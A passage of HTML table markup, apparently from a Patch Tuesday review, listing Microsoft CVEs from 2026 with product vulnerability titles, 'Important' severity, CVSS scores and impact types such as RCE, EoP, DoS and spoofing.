  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40377"><span>CVE-2026-40377</span></a></td>
  <td width="256" class="xl73">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41094"><span>CVE-2026-41094</span></a></td>
  <td width="256" class="xl73">Microsoft Data
  Formulator Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40417"><span>CVE-2026-40417</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Business Central Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42833"><span>CVE-2026-42833</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42838"><span>CVE-2026-42838</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40360"><span>CVE-2026-40360</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40359"><span>CVE-2026-40359</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40362"><span>CVE-2026-40362</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42832"><span>CVE-2026-42832</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34329"><span>CVE-2026-34329</span></a></td>
  <td width="256" class="xl73">Microsoft Message
  Queuing (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40419"><span>CVE-2026-40419</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40418"><span>CVE-2026-40418</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35436"><span>CVE-2026-35436</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40420"><span>CVE-2026-40420</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42893"><span>CVE-2026-42893</span></a></td>
  <td width="256" class="xl73">Microsoft Outlook for
  iOS Tampering Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40374"><span>CVE-2026-40374</span></a></td>
  <td width="256" class="xl73">Microsoft Power
  Automate Desktop Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41102"><span>CVE-2026-41102</span></a></td>
  <td width="256" class="xl73">Microsoft PowerPoint
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35439"><span>CVE-2026-35439</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40368"><span>CVE-2026-40368</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33110"><span>CVE-2026-33110</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33112"><span>CVE-2026-33112</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40357"><span>CVE-2026-40357</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32185"><span>CVE-2026-32185</span></a></td>
  <td width="256" class="xl73">Microsoft Teams
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41101"><span>CVE-2026-41101</span></a></td>
  <td width="256" class="xl73">Microsoft Word for
  Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35440"><span>CVE-2026-35440</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40421"><span>CVE-2026-40421</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41097"><span>CVE-2026-41097</span></a></td>
  <td width="256" class="xl73">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40370"><span>CVE-2026-40370 †</span></a></td>
  <td width="256" class="xl73">SQL Server Remote Code
  Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41613"><span>CVE-2026-41613</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41612"><span>CVE-2026-41612</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41611"><span>CVE-2026-41611</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41610"><span>CVE-2026-41610</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33839"><span>CVE-2026-33839</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33840"><span>CVE-2026-33840</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34330"><span>CVE-2026-34330</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34331"><span>CVE-2026-34331</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35423"><span>CVE-2026-35423</span></a></td>
  <td width="256" class="xl73">Windows 11 Telnet
  Client Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438"><span>CVE-2026-35438</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41086"><span>CVE-2026-41086</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  in Azure Portal Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34344"><span>CVE-2026-34344</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34345"><span>CVE-2026-34345</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35416"><span>CVE-2026-35416</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41088"><span>CVE-2026-41088</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34343"><span>CVE-2026-34343</span></a></td>
  <td width="256" class="xl73">Windows Application
  Identity (AppID) Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35418"><span>CVE-2026-35418</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33835"><span>CVE-2026-33835</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34337"><span>CVE-2026-34337</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40407"><span>CVE-2026-40407</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40397"><span>CVE-2026-40397</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42896"><span>CVE-2026-42896</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35419"><span>CVE-2026-35419</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34336"><span>CVE-2026-34336</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33834"><span>CVE-2026-33834</span></a></td>
  <td width="256" class="xl73">Windows Event Logging
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32209"><span>CVE-2026-32209</span></a></td>
  <td width="256" class="xl73">Windows Filtering
  Platform (WFP) Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33841"><span>CVE-2026-33841</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35420"><span>CVE-2026-35420</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40369"><span>CVE-2026-40369</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34332"><span>CVE-2026-34332</span></a></td>
  <td width="256" class="xl73">Windows Kernel-Mode
  Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34339"><span>CVE-2026-34339</span></a></td>
  <td width="256" class="xl73">Windows Lightweight
  Directory Access Protocol (LDAP) Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34341"><span>CVE-2026-34341</span></a></td>
  <td width="256" class="xl73">Windows Link-Layer
  Discovery Protocol (LLDP) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33838"><span>CVE-2026-33838</span></a></td>
  <td width="256" class="xl73">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34342"><span>CVE-2026-34342</span></a></td>
  <td width="256" class="xl73">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41095"><span>CVE-2026-41095</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34340"><span>CVE-2026-34340</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40398"><span>CVE-2026-40398</span></a></td>
  <td width="256" class="xl73">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21530"><span>CVE-2026-21530</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32170"><span>CVE-2026-32170</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40410"><span>CVE-2026-40410</span></a></td>
  <td width="256" class="xl73">Windows SMB Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35415"><span>CVE-2026-35415</span></a></td>
  <td width="256" class="xl73">Windows Storage Spaces
  Controller Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34350"><span>CVE-2026-34350</span></a></td>
  <td width="256" class="xl73">Windows Storport
  Miniport Driver Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40405"><span>CVE-2026-40405</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40414"><span>CVE-2026-40414</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40401"><span>CVE-2026-40401</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
